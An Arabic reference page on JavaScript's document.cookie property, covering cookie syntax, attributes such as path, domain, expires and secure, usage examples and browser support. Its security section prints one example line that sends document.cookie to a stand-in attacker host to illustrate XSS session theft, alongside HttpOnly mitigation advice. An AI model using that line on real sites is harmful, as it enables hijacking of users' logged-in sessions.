Document.cookie

من موسوعة حسوب
اذهب إلى التنقل اذهب إلى البحث

تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط (cookies) المُرتبطة بالمُستند الحالي وضبطها، للتعامل مع ملفّات الارتباط ببساطة أكثر، انظر إطار العمل البسيط هذا.

البنية العامة

الحصول على جميع ملفّات تعريف الارتباط المتاحة

allCookies = document.cookie;

المُتغيّر allCookies أعلاه عبارة عن سلسلة نصيّة تحتوي على قائمة بجميع ملفات الارتباط مفصولة بفاصلة منقوطة (;)، وهي على شكل مفتاح=قيمة.

ضبط ملفّ ارتباط جديد

document.cookie = newCookie;

في الشيفرة أعلاه، المُتغيّر newCookie عبارة عن سلسلة نصيّة على شكل مفتاح=قيمة. لاحظ أنّك تستطيع أن تضبط أو تُحدّث ملفّ ارتباط واحد فقط في كل مرّة باستعمال هذه الطّريقة. وضَع في ذهنك ما يلي كذلك:

  • يُمكن لأيّ من قيم خصائص ملفّات الارتباط التّالية أن تتبَع اختياريًا زوج المفتاح وقيمته، وذلك عبر تحديد ملفّ الارتباط المُرادِ ضبطه أو تحديثه ويجب على قيم الخصائص هذه أن تُسبَق بفاصلة منقوطة كفاصِل:
    • ;path=path (يقبل قيمًا مثل '/' و'‎/mydir')، إن لم تُحدَّد أيّة قيمة، فقيمته الافتراضيّة هي المسار الحاليّ لمكان المُستند الحاليّ. يجب على المسار أن يكون مُطلقًا (absolute)، انظر RFC 6265. للمزيد من المعلومات حول كيفيّة استعمال المسارات النسبيّة (relative paths)، انظر هذه الفقرة.
    • ;domain=domain (يقبل قيمًا مثل 'example.com' أو 'subdomain.example.com'). إن لم تحدَّد أيّة قيمة، فقيمته الافتراضيّة هي جزء المُضيف الخاصّ بمكان المُستند الحالي (لا يشمل النّطاقات الفرعيّة). وعلى عكس المُواصفات السّابقة، فالنّقط التي تسبق أسماء النّطاقات (leading dots) ستُتجاهل، لكنّ المتصفحات قد تمنع ضبط ملفّ ارتباط يحتوي على هذه النّقط. إن حُدِّد النّطاق، فالنّطاقات الفرعيّة دائما ما تكون مشمولة.
    • ;max-age=max-age-in-seconds عدد الثواني التي سيكون فيها ملفّ الارتباط صالحًا، يُمكن أن تكون قيمته مثلا 60*60*24*365 أو 31536000 ليكون ملفّ الارتباط صالحا لسنة واحدة.
    • ;expires=date-in-GMTString-format تُحدّد تاريخ انتهاء صلاحيّة ملفّ الارتباط، إن لم تُضبَط قيمةٍ لأي من expires أو max-age فستنتهي صلاحيّة ملفّ الارتباط في نهاية الجلسة. انظر ‎Date.toUTCString‎‎‎()‎ لفهم كيفيّة تحويل تاريخٍ إلى قيمة تُمثِّل التاريخ في توقيت UTC (وهي الصّيغة المطلوبة لهذه الخاصيّة). مُلاحظة: عندما تكون المعلومات الخاصّة بالمُستخدم حسّاسة فمن المهم على تطبيق الويب الخاص بك أن يُنهيَ صلاحيّة بيانات ملفّ الارتباط بعد مُدّة زمنيّة مُعيّنة، لا يجب أبدا الاعتماد على المُتصفح ليُزيل ملفات الارتباط الخاصّة بالجلسة، إذ إنَّ بعض المتصفحات تمنع ملفات الارتباط من أن تنتهي صلاحيّتها أبَدِيًّا.
    • ;secure السماح لملفّ الارتباط أن ينتقل فقط على بروتوكول آمن مثل https.
  • يُمكن للسلسة النصّية التي تُمثّل قيمة ملفّ الارتباط أن تستعمل الدالة encodeURIComponent() للتأكد من أنّ السلسلة النّصية لا تحتوي على أية فاصلة أو فاصلة منقوطة أو مساحة بيضاء (والتي تعدّ قيمًا غير مسموح بها في قيم ملفّات الارتباط).
  • بعض المتصفحات تدعم السابِقات التّاليّة لملفّات الارتباط:
    • __Secure-‎ تُخبِر المُتصفح بوجوب وضع ملفّات الارتباط المنقولة على قناة آمنة فقط في الطّلبات.
    • __Host-‎ تُخبِر المُتصفح بأنّ امتداد ملفّ الارتباط محدود في مسار يُمنح من طرف الخادم إضافةً إلى وجوب كون ملفّ الارتباط من أصل آمن. إن لم يمنح الخادم المسار، فستُستعمل قيمة عنوان URI الخاصّ بمُجلّد الطّلب. وتُخبر كذلك المُتصفحَ بأنّ خاصّية النّطاق domain لا يجب أن تُضبَط، ما يمنع إرسال ملفّ الارتباط إلى نطاق آخر. يجب على خاصّية المسار path أن تُساويَ دائمًا الأصل في مُتصفّح Chrome. مُلاحظة: تعدّ الشرطة (-) جزءًا من السّابقة (prefix). ويُمكن لهذه السّابقات أن تُضبط فقط في حالة ضُبِطت الخاصيّة secure كذلك.

مُلاحظة: كما ترى من الشيفرة أعلاه، الخاصيّة document.cookie عبارة عن خاصيّة وصول (accessor property)، وفيها دالة getter ودالة setter، ما يعني أنّها ليست خاصيّة بيانات (data property) ذات قيمة: أي أنّ ما تكتبُه ليس نفسه ما تقرأه، ويتوسّط مُفسّر JavaScript في كلّ شيء على الدّوام.

أمثلة

استعمال بسيط للخاصية

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
  alert(document.cookie);
}

شيفرة HTML:

<button onclick="alertCookie()">اعرض ملفّات الارتباط</button>

الحصول على ملف ارتباط باسم test2

document.cookie = "test1=Hello";
document.cookie = "test2=World";

var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

function alertCookieValue() {
  alert(cookieValue);
}

شيفرة HTML:

<button onclick="alertCookieValue()">اعرِض قيمة ملفّ الارتباط</button>

القيام بعمليةٍ ما لمرة واحدة فقط

لاستعمال الشّيفرة التّالية، تأكّد من إبدال جميع مواضِع اسم ملفّ الارتباط doSomethingOnlyOnce، باسم ملفّ الارتباط الخاص بك.

function doOnce() {
  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
    alert("Do something here!");
    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
  }
}

شيفرة HTML:

<button onclick="doOnce()">أجرِ عمليّة لمرّة واحدة فقط</button>

إعادة ضبط ملف الارتباط السابق

function resetOnce() { 
  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}

شيفرة HTML:

<button onclick="doOnce()">أعد ضبط ملفّ الارتباط الخاصّ بإجراء عمليّة لمرّة واحدة فقط</button>

التحقق من وجود ملف ارتباط

تتحقّق الشّيفرة أسفله من وجود ملفّ ارتباط باسم "reader".

if (document.cookie.split(';').indexOf('reader=') >= 0) {
    console.log('ملفّ الارتباط موجود')
}

التحقق من أن ملف ارتباط يحمل قيمة محددة

تتحقّق الشّيفرة أسفله من أنّ ملفّ الارتباط ذا الاسم "reader" يحمل القيمة 1.

if (document.cookie.split(';').indexOf('reader=1') >= 0) {
    console.log('قيمة ملفّ الارتباط هي 1')
}

الحماية

من المُهمّ التنويه إلى أنّ خاصيّة المسار لا تحمي ضدّ قراءة ملفّ الارتباط بشكل غير مُصرَّح به من مسار مُختلف. يُمكن تجاوز هذا القيد بسهولة عبر استخدام خصائص DOM، على سبيل المثال، يُمكن القيام بذلك عبر إنشاء عنصر iframe مخفي بمسار ملفّ الارتباط، ثمّ الوصول إلى خاصيّة contentDocument.cookie الخاصّة بعنصر iframe. الطريقة الوحيدة لحماية ملفّ الارتباط هي باستعمال نطاق مُختلف أو نطاق فرعي، وذلك بسبب سياسَة الأصل الواحد.

تُستعمل ملفّات الارتباط في تطبيقات الويب عادةً للتعرّف على مُستخدم وجلسة الاستيثاق (authenticated session) الخاصّة به. لذا فسرِقة ملفّ الارتباط من تطبيق ويب سيؤدّي إلى سرقة جلسة المُستخدم الذي سجّل دخوله. الطرائق الشّائعة لسرقة ملفّات الارتباط تشمل الهندسة الاجتماعيّة أو عبر استغلال ثغرة XSS في التّطبيق. انظر المثال التّالي:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

يُمكن تخفيف خطر هذا الهجوم عبر ملفّ الارتباط HTTPOnly عن طريق منع الحصول على قيمة ملفّ الارتباط من خلال JavaScript. للاستزادة، انظر إلى Cookies and Security.

ملاحظات

  • بدءًا من فايرفوكس 2، هناك طريقة أفضل لتخزين المعلومات على جهة العميل، وذلك عبر استعمال تخزين DOM.
  • يُمكنك ببساطة حذف ملفّ ارتباط عبر تحديث تاريخ نهاية صلاحيّته إلى صِفر.
  • تذكّر بأنّه كلّما زاد عدد ملفّات الارتباط لديك، كلّما وجَب نقل بياناتٍ أكثر بين الخادوم والعميل لكل طلب. مما سيُبطئ الطّلبات. لذا من المنصوح به جدّا استعمال تخزين DOM إن كانت لديك بيانات تُريد تخزينها على جهة العميل فقط.
  • تُحدّد مواصفة RFC 2965 (الفقرة 5.3) بأنّه لا يجب أن يكون لقيمةِ أو مفتاحِ ملف ارتباطٍ طول أقصى (maximum length)، وتُشجّع كلّ مُتصفح على دعم ملفّات ارتباط كبيرة ذات حجم اعتباطي. الطول الأقصى يكون مُختلفًا حسب المُتصفّح، لذا انظر توثيق كلّ متصفّح بشأن هذا الأمر.

سبب البنية العامّة لخاصيّة الوصول document.cookie يرجِع إلى طبيعة ملفّات الارتباط التي تعتمد على صيغة خادم-عميل، ما يختلف عن طرق تخزين أخرى تعتمد على صيغة عميل-عميل كالتّخزين المحلي (localStorage) مثلًا.

يأمر الخادمُ العميلَ بتخزين ملفّ ارتباط كما يلي:

HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[مُحتويات الصّفحة هنا]

يُعيد العميل إرسال ملفّ الارتباط الذي خزّنه مُسبقا إلى الخادم:

GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*

استعمال عناوين URL النّسبية مع المُعامل path

يقبل المُعامل path الخاصّ بملفّ ارتباط جديد المسارات المُطلقة فقط. إن أردت استعمال المسارات النّسبية، فستحتاج إلى تحويلها إلى مسارات مُطلقة. يُمكن للدّالة التّالية ترجمة المسارات النّسبية إلى مسارات مُطلقة. وهي دالة مُتعدّدة الأغراض (أي أنّها ليست متعلّقة بملفات الارتباط فقط)، لكنّك تستطيع استعمالها مع المُعامل path الخاصّ بملفّ ارتباط جديد بنجاح كذلك.

المكتبة

/*\
|*|
|*|  :: Translate relative paths to absolute paths ::
|*|
|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
|*|  https://developer.mozilla.org/User:fusionchess
|*|
|*|  The following code is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
\*/

function relPathToAbs (sRelPath) {
  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
  }
  return sDir + sPath.substr(nStart);
}

طريقة الاستعمال

نفترض أنّنا في المسار ‎/JavaScript/Document/document.cookie، التّعليقات أسفل كلّ استدعاءٍ لنافذة التنبيه تُمثّل القيمة المُعادة.

/* Let us be in /JavaScript/Document/document.cookie */

console.log(location.pathname);
// /JavaScript/Document/cookie

console.log(relPathToAbs("./"));
// /JavaScript/Document/

console.log(relPathToAbs("../Object/toString"));
// /JavaScript/Object/toString

console.log(relPathToAbs("../../Bootstrap"));
// /Bootstrap

console.log(relPathToAbs("../Object/./toString/../../../Bootstrap"));
// /Bootstrap

أمثلة أخرى

مكتبة عامة لتنفيذ عملية لمرة واحدة فقط

المكتبة

function executeOnce () {
  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
  if (bImplGlob) { argc++; }
  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
  var fExec = arguments[0], sKey = arguments[argc - 2];
  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
  return true;
}

البنية العامة

executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, [, argumentToPassN]]]]], identifier[, onlyHere])

الوصف

تُنفِّذ عمليّةً مرّةً واحدةً فقط، حتى بعد تحديث الصّفحة.

المُعاملات

callback

الدّالة المُراد تنفيذها (function).

thisObject

الكائن this (إمّا Object أو null). وهو مُعامل اختياريّ.

argumentToPass1, argumentToPass2, argumentToPassN

مُعاملات الدّالة callback. وهي مُعاملات اختياريّة.

identifier

المُعرّف الذي يُتحقّق منه، أي اسم ملفّ الارتباط (string).

onlyHere

قيمة منطقيّة Boolean تُعبّر عمّا إذا كان ملفّ الارتباط سيستعمل المسار المحليّ (أي القيمة true) عوضا عن المسار العمومي (القيمة false أو undefined)، (إمّا boolean أو undefined). وهو مُعامل اختياريّ.

طريقة الاستعمال

function alertSomething (sMsg) {
  alert(sMsg);
}

executeOnce(alertSomething, null, "مرحبًا بالعالم", "alert_something");

دعم المتصفحات

الميزة Chrome Edge Firefox Internet Explorer Opera Safari
الدعم الأساسي نعم نعم نعم نعم نعم نعم
max-age نعم لا نعم لا نعم نعم
السّابقتان ‎__Host-‎ و‎__Secure-‎ 49 ؟ ؟ لا نعم نعم

مصادر ومواصفات